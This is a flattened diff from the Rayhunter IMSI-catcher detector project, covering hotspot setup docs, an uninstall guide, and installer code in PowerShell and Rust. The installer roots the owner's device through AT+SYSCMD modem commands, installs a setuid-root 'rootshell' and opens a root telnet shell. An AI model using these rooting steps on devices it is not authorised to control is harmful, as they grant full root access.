* `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332))
* `9.0`: **Working since 0.3.2.**
TP-Link versions newer than `3.0` have cyan packaging and a color display. Version `3.0` has a one-bit display and white packaging.
You can find the exact hardware version of each device under the battery or next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
When filing bug reports, particularly with the installer, please always specify the exact hardware version.
You can get your TP-Link M7350 from:
* First check for used offers on local sites, sometimes it's much cheaper there.
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350) * [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313) * [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
## Installation & Usage ## Installation & Usage
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080). Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The Rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
Unlike on Orbic, the installer will not enable ADB. Instead, you can do this to obtain a root shell: ## Obtaining a shell
Unlike on Orbic, the installer will not enable ADB. Instead, you can obtain a root shell with the following command:
```sh ```sh
./installer util tplink-start-telnet ./installer util tplink-start-telnet
@@ -21,34 +39,28 @@ telnet 192.168.0.1
## Display states ## Display states
If your device has a color display, Rayhunter will show the same If your device has a color display, Rayhunter will show the same red/green/white line at the top of the display as it does on Orbic, each color meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
red/green/white line at the top of the display as it does on Orbic, each color
meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
If your device has a one-bit (black-and-white) display, Rayhunter will instead If your device has a one-bit (black-and-white) display, Rayhunter will instead show an emoji to indicate status:
show an emoji to indicate status:
* `!` means "warning (potential IMSI catcher)" * `!` means "warning (potential IMSI catcher)"
* `:)` (smiling) means "recording" * `:)` (smiling) means "recording"
* `:` (face with no mouth) means "paused" * `:` (face with no mouth) means "paused"
## Hardware versions ## Power-saving mode/sleep
The TP-Link comes in many different *hardware versions*. Support for installation varies: By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers.
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connectd on the TP-Link's WiFi.
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand) ## Port triggers
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
* `9.0`: Recording might be broken, could be fixed if there is demand.
TP-Link versions newer than `3.0` have cyan packaging and a color display. On hardware revisions starting with v4.0, the installer will modify settings to
Version `3.0` has a one-bit display and white packaging. add two port triggers. You can look at `Settings > NAT Settings > Port
Triggers` in TP-Link's admin UI to see them.
You can find the exact hardware version of each device under the battery or 1. One port trigger "rayhunter-root" to launch the telnet shell. This is only needed for installation, and can be removed after upgrade. You can reinstall it using `./installer util tplink-start-telnet`.
next to the barcode on the outer packaging, for example `V3.0` or `V5.2`. 2. One port trigger "rayhunter-daemon" to auto-start rayhunter on boot. If you remove this, rayhunter will have to be started manually from shell.
When filing bug reports, particularly with the installer, please always
specify the exact hardware version.
## Other links ## Other links
For more information on the device and instructions on how to install Rayhunter without an installer, see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/) For more information on the device and instructions on how to install Rayhunter without an installer (i.e. manually), please see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
+6 -1
View File
@@ -16,4 +16,9 @@ Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabl
## TPLink ## TPLink
TODO 1. Run `./installer util tplink-start-telnet`
2. Telnet into the device `telnet 192.168.0.1`
3. `rm /data/rayhunter /etc/init.d/rayhunter_daemon`
4. `update-rc.d rayhunter_daemon remove`
5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers.
+19 -6
View File
@@ -1,20 +1,33 @@
# Using Rayhunter # Using Rayhunter
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI. Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](./faq.md#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
![Rayhunter_0 3 2](./Rayhunter_0.3.2.png)
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, delete captures, and view heuristic analyses of captures. It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, delete captures, and view heuristic analyses of captures.
## The web UI
You can access this UI in one of two ways: You can access this UI in one of two ways:
* **Connect over wifi:** Connect your phone/laptop to your device's wifi * **Connect over WiFi:** Connect your phone/laptop to your device's WiFi
network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic) network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic)
or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink). or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink).
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet. Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon. On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
* **Connect over USB (orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080). On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.
* **Connect over USB (Orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually. * For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet). * You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`. * On MacOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
* **Connect over USB (tplink):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
* **Connect over USB (TP-Link):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
## Key shortcuts
As of 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well.
**This feature is disabled by default since 0.4.0** and needs to be enabled through [configuration](./configuration.md).
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

+6 -5
View File
@@ -1,10 +1,11 @@
#!/bin/bash -e #!/bin/bash -e
pushd bin/web cd bin/web
npm run build npm run build
popd cd ..
#docker build -t rayhunter-devenv -f tools/devenv.dockerfile . docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv sh -c 'cargo build --release --target="armv7-unknown-linux-gnueabihf"' echo ' build!'
docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv sh -c 'cargo build --release --target="armv7-unknown-linux-musleabihf"'
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"' adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon adb push target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
echo "rebooting the device..." echo "rebooting the device..."
adb shell '/bin/rootshell -c "reboot"' adb shell '/bin/rootshell -c "reboot"'
+9 -5
View File
@@ -1,13 +1,17 @@
[package] [package]
name = "installer" name = "installer"
version = "0.3.0" version = "0.4.0"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
aes = "0.8.4"
anyhow = "1.0.98" anyhow = "1.0.98"
axum = "0.8.3" axum = "0.8.3"
base64_light = "0.1.5"
block-padding = "0.3.3"
bytes = "1.10.1" bytes = "1.10.1"
clap = { version = "4.5.37", features = ["derive"] } clap = { version = "4.5.37", features = ["derive"] }
env_logger = "0.11.8"
hyper = "1.6.0" hyper = "1.6.0"
hyper-util = "0.1.11" hyper-util = "0.1.11"
md5 = "0.7.0" md5 = "0.7.0"
@@ -20,13 +24,13 @@ tokio-retry2 = "0.5.7"
tokio-stream = "0.1.17" tokio-stream = "0.1.17"
[target.'cfg(target_os = "linux")'.dependencies.adb_client] [target.'cfg(target_os = "linux")'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git" git = "https://github.com/EFForg/adb_client.git"
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81" rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false default-features = false
features = ["trans-nusb"] features = ["trans-nusb"]
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client] [target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git" git = "https://github.com/EFForg/adb_client.git"
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81" rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false default-features = false
features = ["trans-libusb"] features = ["trans-libusb"]
+10 -5
View File
@@ -6,19 +6,24 @@ fn main() {
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN"); println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
let include_dir = Path::new(concat!( let include_dir = Path::new(concat!(
env!("CARGO_MANIFEST_DIR"), env!("CARGO_MANIFEST_DIR"),
"/../target/armv7-unknown-linux-musleabihf/release/" "/../target/armv7-unknown-linux-musleabihf/firmware/"
)); ));
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell"); set_binary_var(include_dir, "FILE_ROOTSHELL", "rootshell");
set_binary_var( set_binary_var(
&include_dir, include_dir,
"FILE_RAYHUNTER_DAEMON_ORBIC", "FILE_RAYHUNTER_DAEMON_ORBIC",
"rayhunter-daemon", "rayhunter-daemon",
); );
set_binary_var( set_binary_var(
&include_dir, include_dir,
"FILE_RAYHUNTER_DAEMON_TPLINK", "FILE_RAYHUNTER_DAEMON_TPLINK",
"rayhunter-daemon", "rayhunter-daemon",
); );
set_binary_var(
include_dir,
"FILE_RAYHUNTER_DAEMON_WINGTECH",
"rayhunter-daemon",
);
} }
fn set_binary_var(include_dir: &Path, var: &str, file: &str) { fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
@@ -26,7 +31,7 @@ fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
let out_dir = std::env::var("OUT_DIR").unwrap(); let out_dir = std::env::var("OUT_DIR").unwrap();
std::fs::create_dir_all(&out_dir).unwrap(); std::fs::create_dir_all(&out_dir).unwrap();
let blank = Path::new(&out_dir).join("blank"); let blank = Path::new(&out_dir).join("blank");
std::fs::write(&blank, &[]).unwrap(); std::fs::write(&blank, []).unwrap();
println!("cargo::rustc-env={var}={}", blank.display()); println!("cargo::rustc-env={var}={}", blank.display());
return; return;
} }
+142
View File
@@ -0,0 +1,142 @@
$global:adb = ".\platform-tools-latest-windows\platform-tools\adb.exe"
$global:serial = ".\installer-windows-x86_64\installer.exe"
function _adb_push {
& $global:adb -d push @args *> $null
$exitCode = $LASTEXITCODE
return $exitCode
}
function _adb_shell {
& $global:adb -d shell @args *> $null
$exitCode = $LASTEXITCODE
return $exitCode
}
function _wait_for_adb_shell {
do {
start-sleep -seconds 1
$success = _adb_shell "uname -a"
} until ($success -eq 0)
}
function _wait_for_atfwd_daemon {
do {
start-sleep -seconds 1
$success = _adb_shell "pgrep atfwd_daemon"
} until ($success -eq 0)
}
function force_debug_mode {
write-host "Using adb at $($global:adb)"
write-host "Forcing a switch into debug mode to enable ADB"
_serial "--root" | Out-Host
write-host "adb enabled, waiting for reboot..." -nonewline
_wait_for_adb_shell
write-host " it's alive!"
write-host "waiting for atfwd_daemon to start ..." -nonewline
_wait_for_atfwd_daemon
write-host " done!"
}
function _serial {
param (
[Parameter(Mandatory = $false, ValueFromRemainingArguments = $true)]
[string[]]$Args
)
# Build the full argument list
$allArgs = @("util", "serial") + $Args
# Call the serial executable
& $global:serial @allArgs
}
function setup_rootshell {
write-host "setting up rootshell"
_adb_push "rootshell" "/tmp" | Out-null
write-host "cp..."
_serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host
start-sleep -seconds 1
write-host "chown..."
_serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host
start-sleep -seconds 1
write-host "chmod..."
_serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
start-sleep -seconds 1
_adb_shell '/bin/rootshell -c id' | Out-null
write-host "we have root!"
}
function setup_rayhunter {
write-host "installing rayhunter..."
_serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
_adb_push "config.toml.example" "/tmp/config.toml" | Out-Null
_serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon" | Out-Null
_serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon" | Out-Null
_serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon" | Out-Null
_serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
_serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
_serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
_serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
write-host "waiting for reboot..."
_serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
do {
start-sleep -seconds 1
} until ((_adb_shell "true 2> /dev/null") -ne 0)
_wait_for_adb_shell
write-host "done!"
}
function test_rayhunter {
$URL = "http://localhost:8080/index.html"
& $global:adb -d forward tcp:8080 tcp:8080
$exitCode = $LASTEXITCODE
if ($exitCode -ne 0) {
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($exitCode)"
return
}
write-host "checking for rayhunter server..." -nonewline
$seconds = 0
do {
try {
$resp = invoke-webrequest -uri $URL
} catch {
# Fail silently
$resp = $null
}
if ($resp.statuscode -eq 200) {
write-host "success!"
write-host "you can access rayhunter at $($URL)"
return
}
start-sleep 1
$seconds = $seconds + 1
} until ($seconds -eq 30)
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
}
function get_android_tools {
write-host "adb not found, downloading local copy"
invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
expand-archive -force -path "platform-tools-latest-windows.zip"
}
if (-not (test-path -path $global:serial)) {
write-error "can't find serial, aborting"
return
}
if (-not (test-path -path $global:adb)) {
get_android_tools
}
force_debug_mode
setup_rootshell
setup_rayhunter
test_rayhunter
+41
View File
@@ -1,8 +1,11 @@
use anyhow::{Context, Error, bail}; use anyhow::{Context, Error, bail};
use clap::{Parser, Subcommand}; use clap::{Parser, Subcommand};
use env_logger::Env;
mod orbic; mod orbic;
mod tplink; mod tplink;
mod util;
mod wingtech;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example"); pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon"); pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
@@ -20,6 +23,8 @@ enum Command {
Orbic(InstallOrbic), Orbic(InstallOrbic),
/// Install rayhunter on the TP-Link M7350. /// Install rayhunter on the TP-Link M7350.
Tplink(InstallTpLink), Tplink(InstallTpLink),
/// Install rayhunter on the Wingtech CT2MHS01.
Wingtech(WingtechArgs),
/// Developer utilities. /// Developer utilities.
Util(Util), Util(Util),
} }
@@ -34,6 +39,17 @@ struct InstallTpLink {
/// IP address for TP-Link admin interface, if custom. /// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")] #[arg(long, default_value = "192.168.0.1")]
admin_ip: String, admin_ip: String,
/// For advanced users: Specify the path of the SD card to be mounted explicitly.
///
/// The default (empty string) is to use whichever sdcard path the device would use natively to
/// mount storage on. On most TP-Link this is /media/card, but on hardware versions 9+ this is
/// /media/sdcard
///
/// Only override this when the installer does not work on your hardware version, as otherwise
/// your custom path may conflict with the builtin storage functionality.
#[arg(long, default_value = "")]
sdcard_path: String,
} }
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
@@ -49,8 +65,14 @@ struct Util {
enum UtilSubCommand { enum UtilSubCommand {
/// Send a serial command to the Orbic. /// Send a serial command to the Orbic.
Serial(Serial), Serial(Serial),
/// Start an ADB shell
Shell(Shell),
/// Root the tplink and launch telnetd. /// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet), TplinkStartTelnet(TplinkStartTelnet),
/// Root the Wingtech and launch telnetd.
WingtechStartTelnet(WingtechArgs),
/// Root the Wingtech and launch adb.
WingtechStartAdb(WingtechArgs),
} }
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
@@ -60,6 +82,17 @@ struct TplinkStartTelnet {
admin_ip: String, admin_ip: String,
} }
#[derive(Parser, Debug)]
struct WingtechArgs {
/// IP address for Wingtech admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Web portal admin password.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
struct Serial { struct Serial {
#[arg(long)] #[arg(long)]
@@ -67,12 +100,17 @@ struct Serial {
command: Vec<String>, command: Vec<String>,
} }
#[derive(Parser, Debug)]
struct Shell {}
async fn run() -> Result<(), Error> { async fn run() -> Result<(), Error> {
env_logger::Builder::from_env(Env::default().default_filter_or("off")).init();
let Args { command } = Args::parse(); let Args { command } = Args::parse();
match command { match command {
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command { Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => { UtilSubCommand::Serial(serial_cmd) => {
if serial_cmd.root { if serial_cmd.root {
@@ -92,9 +130,12 @@ async fn run() -> Result<(), Error> {
} }
} }
} }
UtilSubCommand::Shell(_) => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
UtilSubCommand::TplinkStartTelnet(options) => { UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?; tplink::start_telnet(&options.admin_ip).await?;
} }
UtilSubCommand::WingtechStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Wingtech CT2MHS01")?,
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
} }
} }
+87 -51
View File
@@ -9,6 +9,7 @@ use nusb::{Device, Interface};
use sha2::{Digest, Sha256}; use sha2::{Digest, Sha256};
use tokio::time::sleep; use tokio::time::sleep;
use crate::util::echo;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
@@ -22,31 +23,31 @@ const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another
Please close any program that might be using your USB devices. Please close any program that might be using your USB devices.
If you have adb installed you may need to kill the adb daemon"#; If you have adb installed you may need to kill the adb daemon"#;
#[cfg(target_os = "macos")] #[cfg(any(target_os = "macos", target_os = "windows"))]
const ORBIC_BUSY_MAC: &str = r#"Permission denied. const ORBIC_BUSY_MAC: &str = r#"Permission denied.
On macOS this might be caused by another program using the Orbic. On macOS or windows this might be caused by another program using the Orbic.
Please close any program that might be using your Orbic. Please close any program that might be using your Orbic.
If you have adb installed you may need to kill the adb daemon"#; If you have adb installed you may need to kill the adb daemon"#;
const VENDOR_ID: u16 = 0x05c6; const VENDOR_ID: u16 = 0x05c6;
const PRODUCT_ID: u16 = 0xf601; const PRODUCT_ID: u16 = 0xf601;
macro_rules! echo { const INTERFACE: u8 = 1;
($($arg:tt)*) => {
print!($($arg)*); #[cfg(target_os = "windows")]
let _ = std::io::stdout().flush(); const RNDIS_INTERFACE: u8 = 0;
};
} #[cfg(not(target_os = "windows"))]
const RNDIS_INTERFACE: u8 = 1;
pub async fn install() -> Result<()> { pub async fn install() -> Result<()> {
let mut adb_device = force_debug_mode().await?; let mut adb_device = force_debug_mode().await?;
let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?;
echo!("Installing rootshell... "); echo!("Installing rootshell... ");
setup_rootshell(&serial_interface, &mut adb_device).await?; setup_rootshell(&mut adb_device).await?;
println!("done"); println!("done");
echo!("Installing rayhunter... "); echo!("Installing rayhunter... ");
let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?; let mut adb_device = setup_rayhunter(adb_device).await?;
println!("done"); println!("done");
echo!("Testing rayhunter... "); echo!("Testing rayhunter... ");
test_rayhunter(&mut adb_device).await?; test_rayhunter(&mut adb_device).await?;
@@ -54,11 +55,19 @@ pub async fn install() -> Result<()> {
Ok(()) Ok(())
} }
pub async fn shell() -> Result<()> {
println!("opening shell");
let mut adb_device = get_adb().await?;
adb_device.shell(&mut std::io::stdin(), Box::new(std::io::stdout()))?;
Ok(())
}
async fn force_debug_mode() -> Result<ADBUSBDevice> { async fn force_debug_mode() -> Result<ADBUSBDevice> {
println!("Forcing a switch into the debug mode to enable ADB"); println!("Forcing a switch into the debug mode to enable ADB");
enable_command_mode()?; enable_command_mode()?;
echo!("ADB enabled, waiting for reboot... "); echo!("ADB enabled, waiting for reboot... ");
let mut adb_device = get_adb().await?; let mut adb_device = get_adb().await?;
adb_setup_serial(&mut adb_device).await?;
println!("it's alive!"); println!("it's alive!");
echo!("Waiting for atfwd_daemon to startup... "); echo!("Waiting for atfwd_daemon to startup... ");
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?; adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
@@ -66,23 +75,14 @@ async fn force_debug_mode() -> Result<ADBUSBDevice> {
Ok(adb_device) Ok(adb_device)
} }
async fn setup_rootshell( async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
) -> Result<()> {
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL")); let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
install_file( install_file(adb_device, "/bin/rootshell", rootshell_bin).await?;
serial_interface,
adb_device,
"/bin/rootshell",
rootshell_bin,
)
.await?;
tokio::time::sleep(Duration::from_secs(1)).await; tokio::time::sleep(Duration::from_secs(1)).await;
at_syscmd(serial_interface, "chown root /bin/rootshell").await?; adb_at_syscmd(adb_device, "chown root /bin/rootshell").await?;
tokio::time::sleep(Duration::from_secs(1)).await; tokio::time::sleep(Duration::from_secs(1)).await;
at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?; adb_at_syscmd(adb_device, "chmod 4755 /bin/rootshell").await?;
let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?; let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?;
if !output.contains("uid=0") { if !output.contains("uid=0") {
bail!("rootshell is not giving us root."); bail!("rootshell is not giving us root.");
@@ -90,46 +90,39 @@ async fn setup_rootshell(
Ok(()) Ok(())
} }
async fn setup_rayhunter( async fn setup_rayhunter(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
serial_interface: &Interface,
mut adb_device: ADBUSBDevice,
) -> Result<ADBUSBDevice> {
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC")); let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?; adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
install_file( install_file(
serial_interface,
&mut adb_device, &mut adb_device,
"/data/rayhunter/rayhunter-daemon", "/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin, rayhunter_daemon_bin,
) )
.await?; .await?;
install_file( install_file(
serial_interface,
&mut adb_device, &mut adb_device,
"/data/rayhunter/config.toml", "/data/rayhunter/config.toml",
CONFIG_TOML.as_bytes(), CONFIG_TOML.as_bytes(),
) )
.await?; .await?;
install_file( install_file(
serial_interface,
&mut adb_device, &mut adb_device,
"/etc/init.d/rayhunter_daemon", "/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(), RAYHUNTER_DAEMON_INIT.as_bytes(),
) )
.await?; .await?;
install_file( install_file(
serial_interface,
&mut adb_device, &mut adb_device,
"/etc/init.d/misc-daemon", "/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"), include_bytes!("../../dist/scripts/misc-daemon"),
) )
.await?; .await?;
at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?; adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?; adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/misc-daemon").await?;
println!("done"); println!("done");
echo!("Waiting for reboot... "); echo!("Waiting for reboot... ");
at_syscmd(serial_interface, "shutdown -r -t 1 now").await?; adb_at_syscmd(&mut adb_device, "shutdown -r -t 1 now").await?;
// first wait for shutdown (it can take ~10s) // first wait for shutdown (it can take ~10s)
tokio::time::timeout(Duration::from_secs(30), async { tokio::time::timeout(Duration::from_secs(30), async {
while let Ok(dev) = adb_echo_test(adb_device).await { while let Ok(dev) = adb_echo_test(adb_device).await {
@@ -161,16 +154,11 @@ async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
bail!("timeout reached! failed to reach rayhunter, something went wrong :(") bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
} }
async fn install_file( async fn install_file(adb_device: &mut ADBUSBDevice, dest: &str, payload: &[u8]) -> Result<()> {
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
dest: &str,
payload: &[u8],
) -> Result<()> {
const MAX_FAILURES: u32 = 5; const MAX_FAILURES: u32 = 5;
let mut failures = 0; let mut failures = 0;
loop { loop {
match install_file_impl(serial_interface, adb_device, dest, payload).await { match install_file_impl(adb_device, dest, payload).await {
Ok(()) => return Ok(()), Ok(()) => return Ok(()),
Err(e) => { Err(e) => {
if failures > MAX_FAILURES { if failures > MAX_FAILURES {
@@ -185,7 +173,6 @@ async fn install_file(
} }
async fn install_file_impl( async fn install_file_impl(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice, adb_device: &mut ADBUSBDevice,
dest: &str, dest: &str,
mut payload: &[u8], mut payload: &[u8],
@@ -202,7 +189,7 @@ async fn install_file_impl(
let file_hash_bytes = hasher.finalize(); let file_hash_bytes = hasher.finalize();
let file_hash = format!("{file_hash_bytes:x}"); let file_hash = format!("{file_hash_bytes:x}");
adb_device.push(&mut payload, &push_tmp_path)?; adb_device.push(&mut payload, &push_tmp_path)?;
at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?; adb_at_syscmd(adb_device, &format!("mv {push_tmp_path} {dest}")).await?;
let file_info = adb_device let file_info = adb_device
.stat(dest) .stat(dest)
.context("Failed to stat transfered file")?; .context("Failed to stat transfered file")?;
